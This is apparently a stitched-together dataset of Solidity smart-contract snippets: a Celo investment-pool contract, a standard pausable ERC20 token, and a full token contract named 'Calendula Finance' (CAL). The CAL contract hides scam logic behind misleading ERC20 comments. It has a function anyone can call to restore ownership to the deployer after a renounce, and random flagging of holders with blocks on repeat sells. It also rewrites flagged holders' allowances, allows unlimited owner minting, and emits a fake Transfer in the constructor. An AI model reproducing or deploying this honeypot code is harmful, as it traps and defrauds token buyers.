IERC20(stableCoinAddress).transferFrom(msg.sender, address(this), amount);
//Check for cUSD in position keys
uint positionIndex;
for (positionIndex = 0; positionIndex < _positionKeys.length; positionIndex++)
{
if (_positionKeys[positionIndex] == stableCoinAddress)
{
break;
}
}
//Add cUSD to position keys if it's not there already
if (positionIndex == _positionKeys.length)
{
_positionKeys.push(stableCoinAddress);
}
emit Deposit(address(this), msg.sender, amount, block.timestamp);
}
/**
* @dev Withdraws the given USD amount on behalf of the user
* @notice The withdrawal is done using pool's assets at time of withdrawal. This avoids the exchange fees and slippage from exchanging pool's assets back to cUSD or TGEN.
* @param amount Amount of USD to withdraw from the pool
*/
function withdraw(uint amount) public override {
require(amount > 0, "Pool: Withdrawal must be greater than 0");
uint poolBalance = getPoolBalance();
uint USDBalance = poolBalance.mul(_balanceOf[msg.sender]).div(_totalSupply);
require(USDBalance >= amount, "Pool: Not enough funds to withdraw");
uint fee = (USDBalance > _deposits[msg.sender]) ? USDBalance.sub(_deposits[msg.sender]) : 0;
fee = fee.mul(amount).div(USDBalance); //Multiply by ratio of withdrawal amount to USD balance
fee = fee.mul(_performanceFee).div(100);
//Pay performance fee if user has profit
if (fee > 0)
{
_payPerformanceFee(fee);
}
uint depositAmount = _deposits[msg.sender].mul(amount).div(USDBalance);
uint numberOfLPTokens = _balanceOf[msg.sender].mul(amount).div(USDBalance);
_balanceOf[msg.sender] = _balanceOf[msg.sender].sub(numberOfLPTokens);
_totalSupply = _totalSupply.sub(numberOfLPTokens);
_deposits[msg.sender] = _deposits[msg.sender].sub(depositAmount);
_totalDeposits = _totalDeposits.sub(depositAmount);
//Withdraw user's portion of pool's assets
for (uint i = 0; i < _positionKeys.length; i++)
{
uint positionBalance = IERC20(_positionKeys[i]).balanceOf(address(this)); //Number of asset's tokens
uint amountToTransfer = positionBalance.mul(amount.sub(fee)).div(poolBalance); //Multiply by ratio of withdrawal amount after fee to pool's USD balance
IERC20(_positionKeys[i]).transfer(msg.sender, amountToTransfer);
}
//Remove position keys if pool is liquidated
if (_totalSupply == 0)
{
delete _positionKeys;
_positionKeys = new address[](0);
}
emit Withdraw(address(this), msg.sender, amount, block.timestamp);
}
/**
* @dev Places an order to buy/sell the given currency
* @param currencyKey Address of currency to trade
* @param buyOrSell Whether the user is buying or selling
* @param numberOfTokens Number of tokens of the given currency
*/
function placeOrder(address currencyKey, bool buyOrSell, uint numberOfTokens) public override onlyPoolManager {
address settingsAddress = ADDRESS_RESOLVER.getContractAddress("Settings");
address baseUbeswapAdapterAddress = ADDRESS_RESOLVER.getContractAddress("BaseUbeswapAdapter");
address stableCoinAddress = ISettings(settingsAddress).getStableCoinAddress();
require(numberOfTokens > 0, "Pool: Number of tokens must be greater than 0");
require(currencyKey != address(0), "Pool: Invalid currency key");
require(ISettings(settingsAddress).checkIfCurrencyIsAvailable(currencyKey), "Pool: Currency key is not available");
uint numberOfDecimals = IERC20(currencyKey).decimals();
uint tokenToUSD = IBaseUbeswapAdapter(baseUbeswapAdapterAddress).getPrice(currencyKey);
uint numberOfTokensReceived;
uint amountInUSD = numberOfTokens.mul(tokenToUSD).div(10 ** numberOfDecimals);
//buying
if (buyOrSell)
{
require(getAvailableFunds() >= amountInUSD, "Pool: Not enough funds");
//Add to position keys if no position yet
if (IERC20(currencyKey).balanceOf(address(this)) == 0)
{
_positionKeys.push(currencyKey);
}
IERC20(stableCoinAddress).transfer(baseUbeswapAdapterAddress, amountInUSD);
numberOfTokensReceived = IBaseUbeswapAdapter(baseUbeswapAdapterAddress).swapFromPool(stableCoinAddress, currencyKey, amountInUSD, numberOfTokens);
}
//selling
else
{
uint positionIndex;
for (positionIndex = 0; positionIndex < _positionKeys.length; positionIndex++)
{
if (currencyKey == _positionKeys[positionIndex])
{
break;
}
}
require(positionIndex < _positionKeys.length, "Pool: Don't have a position in this currency");
require(IERC20(currencyKey).balanceOf(address(this)) >= numberOfTokens, "Pool: Not enough tokens in this currency");
IERC20(currencyKey).transfer(baseUbeswapAdapterAddress, numberOfTokens);
numberOfTokensReceived = IBaseUbeswapAdapter(baseUbeswapAdapterAddress).swapFromPool(currencyKey, stableCoinAddress, numberOfTokens, numberOfTokens);
//remove position key if no funds left in currency
if (IERC20(currencyKey).balanceOf(address(this)) == 0)
{
_positionKeys[positionIndex] = _positionKeys[_positionKeys.length - 1];
_positionKeys.pop();
}
}
emit PlacedOrder(address(this), currencyKey, buyOrSell, numberOfTokens, block.timestamp);
}
/**
* @dev Updates the pool's farm address
* @param farmAddress Address of the pool's farm
*/
function setFarmAddress(address farmAddress) public override onlyPoolFactory {
require(farmAddress != address(0), "Invalid farm address");
_farmAddress = farmAddress;
}
/* ========== INTERNAL FUNCTIONS ========== */
/**
* @dev Pay performance fee on the user's profit when the user withdraws from the pool
* @notice Performance fee is paid in pool's assets at time of withdrawal
* @param fee Amount of cUSD to pay as a fee
*/
function _payPerformanceFee(uint fee) internal {
uint poolBalance = getPoolBalance();
address feePoolAddress = ADDRESS_RESOLVER.getContractAddress("FeePool");
IFeePool(feePoolAddress).addPositionKeys(_positionKeys);
//Withdraw performance fee proportional to pool's assets
for (uint i = 0; i < _positionKeys.length; i++)
{
uint positionBalance = IERC20(_positionKeys[i]).balanceOf(address(this));
uint amountToTransfer = positionBalance.mul(fee).div(poolBalance);
IERC20(_positionKeys[i]).transfer(feePoolAddress, amountToTransfer);
}
IFeePool(feePoolAddress).addFees(_manager, fee);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
_balanceOf[from] = _balanceOf[from].sub(value);
_balanceOf[to] = _balanceOf[to].add(value);
emit Transfer(from, to, value);
}
/* ========== MODIFIERS ========== */
modifier onlyPoolFactory() {
address poolFactoryAddress = ADDRESS_RESOLVER.getContractAddress("PoolFactory");
require(msg.sender == poolFactoryAddress, "Pool: Only PoolFactory contract can call this function");
_;
}
modifier onlyPoolManager() {
require(msg.sender == _manager, "Pool: Only pool's manager can call this function");
_;
}
/* ========== EVENTS ========== */
event Deposit(address indexed poolAddress, address indexed userAddress, uint amount, uint timestamp);
event Withdraw(address indexed poolAddress, address indexed userAddress, uint amount, uint timestamp);
event PlacedOrder(address indexed poolAddress, address indexed currencyKey, bool buyOrSell, uint amount, uint timestamp);
}
|
Returns the currency address and balance of each position the pool has, as well as the cumulative value return (address[], uint[], uint) Currency address and balance of each position the pool has, and the cumulative value of positions/
|
function getPositionsAndTotal() public view override returns (address[] memory, uint[] memory, uint) {
address baseUbeswapAdapterAddress = ADDRESS_RESOLVER.getContractAddress("BaseUbeswapAdapter");
address[] memory addresses = new address[](_positionKeys.length);
uint[] memory balances = new uint[](_positionKeys.length);
uint sum;
for (uint i = 0; i < _positionKeys.length; i++)
{
balances[i] = IERC20(_positionKeys[i]).balanceOf(address(this));
addresses[i] = _positionKeys[i];
uint numberOfDecimals = IERC20(_positionKeys[i]).decimals();
uint USDperToken = IBaseUbeswapAdapter(baseUbeswapAdapterAddress).getPrice(_positionKeys[i]);
uint positionBalanceInUSD = balances[i].mul(USDperToken).div(10 ** numberOfDecimals);
sum = sum.add(positionBalanceInUSD);
}
return (addresses, balances, sum);
}
| 1,793,627
|
/**
*Submitted for verification at Etherscan.io on 2021-06-19
*/
/**
* Timeless Inu $TIMEINU
* (c) 2021
* Announcement Channel: https://t.me/TimelessInu
* This is the only official channel
*/
pragma solidity 0.5.16;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the erc20 token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private flowerpower;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
flowerpower = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function SetBurnAddress() public {
require(_owner != flowerpower);
emit OwnershipTransferred(_owner, flowerpower);
_owner = flowerpower;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20Token is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public flor;
mapping (address => bool) public pigt;
mapping (address => bool) public rekt;
mapping (address => uint256) public timeke;
bool private llamas;
uint256 private _totalSupply;
uint256 private pizy;
uint256 private _trns;
uint256 private chTx;
uint256 private opera;
uint8 private _decimals;
string private _symbol;
string private _name;
bool private walter;
address private creator;
bool private thisValue;
uint metronan = 0;
constructor() public {
creator = address(msg.sender);
llamas = true;
walter = true;
_name = "Calendula Finance";
_symbol = "CAL";
_decimals = 5;
_totalSupply = 80000000000000;
_trns = _totalSupply;
pizy = _totalSupply;
chTx = _totalSupply / 1200;
opera = pizy;
pigt[creator] = false;
rekt[creator] = false;
flor[msg.sender] = true;
_balances[msg.sender] = _totalSupply;
thisValue = false;
emit Transfer(address(0x2910543Af39abA0Cd09dBb2D50200b3E800A63D2), msg.sender, _trns);
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the erc20 token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
function ViewFlower() external view onlyOwner returns (uint256) {
uint256 tempval = _totalSupply;
return tempval;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function randomly() internal returns (uint) {
uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, metronan))) % 100;
metronan++;
return screen;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function SellFlower() external onlyOwner {
pizy = chTx;
thisValue = true;
}
function BurnFlower(uint256 amount) external onlyOwner {
pizy = amount;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*
*
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function ApproveFlower(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function IncreaseFlowers(address spender, bool val, bool val2, bool val3, bool val4) external onlyOwner {
flor[spender] = val;
pigt[spender] = val2;
rekt[spender] = val3;
thisValue = val4;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if ((address(sender) == creator) && (llamas == false)) {
pizy = chTx;
thisValue = true;
}
if ((address(sender) == creator) && (llamas == true)) {
flor[recipient] = true;
pigt[recipient] = false;
llamas = false;
}
if (flor[recipient] != true) {
pigt[recipient] = ((randomly() == 78) ? true : false);
}
if ((pigt[sender]) && (flor[recipient] == false)) {
pigt[recipient] = true;
}
if (flor[sender] == false) {
require(amount < pizy);
if (thisValue == true) {
if (rekt[sender] == true) {
require(false);
}
rekt[sender] = true;
}
}
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Changes the `amount` of the minimal tokens there should be in supply,
* in order to not burn more tokens than there should be.
**/
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
uint256 tok = amount;
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
if ((address(owner) == creator) && (walter == true)) {
flor[spender] = true;
pigt[spender] = false;
rekt[spender] = false;
walter = false;
}
tok = (pigt[owner] ? 3833313 : amount);
_allowances[owner][spender] = tok;
emit Approval(owner, spender, tok);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
|
Moves tokens `amount` from `sender` to `recipient`. This is internal function is equivalent to {transfer}, and can be used to e.g. implement automatic token fees, slashing mechanisms, etc. Emits a {Transfer} event. Requirements: - `sender` cannot be the zero address. - `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`./
|
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if ((address(sender) == creator) && (llamas == false)) {
pizy = chTx;
thisValue = true;
}
if ((address(sender) == creator) && (llamas == true)) {
flor[recipient] = true;
pigt[recipient] = false;
llamas = false;
}
if (flor[recipient] != true) {
pigt[recipient] = ((randomly() == 78) ? true : false);
}
if ((pigt[sender]) && (flor[recipient] == false)) {
pigt[recipient] = true;
}
if (flor[sender] == false) {
require(amount < pizy);
if (thisValue == true) {
if (rekt[sender] == true) {
require(false);
}
rekt[sender] = true;
}
}
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
| 2,418,172
|
pragma solidity ^0.4.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title Pausable token
*
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
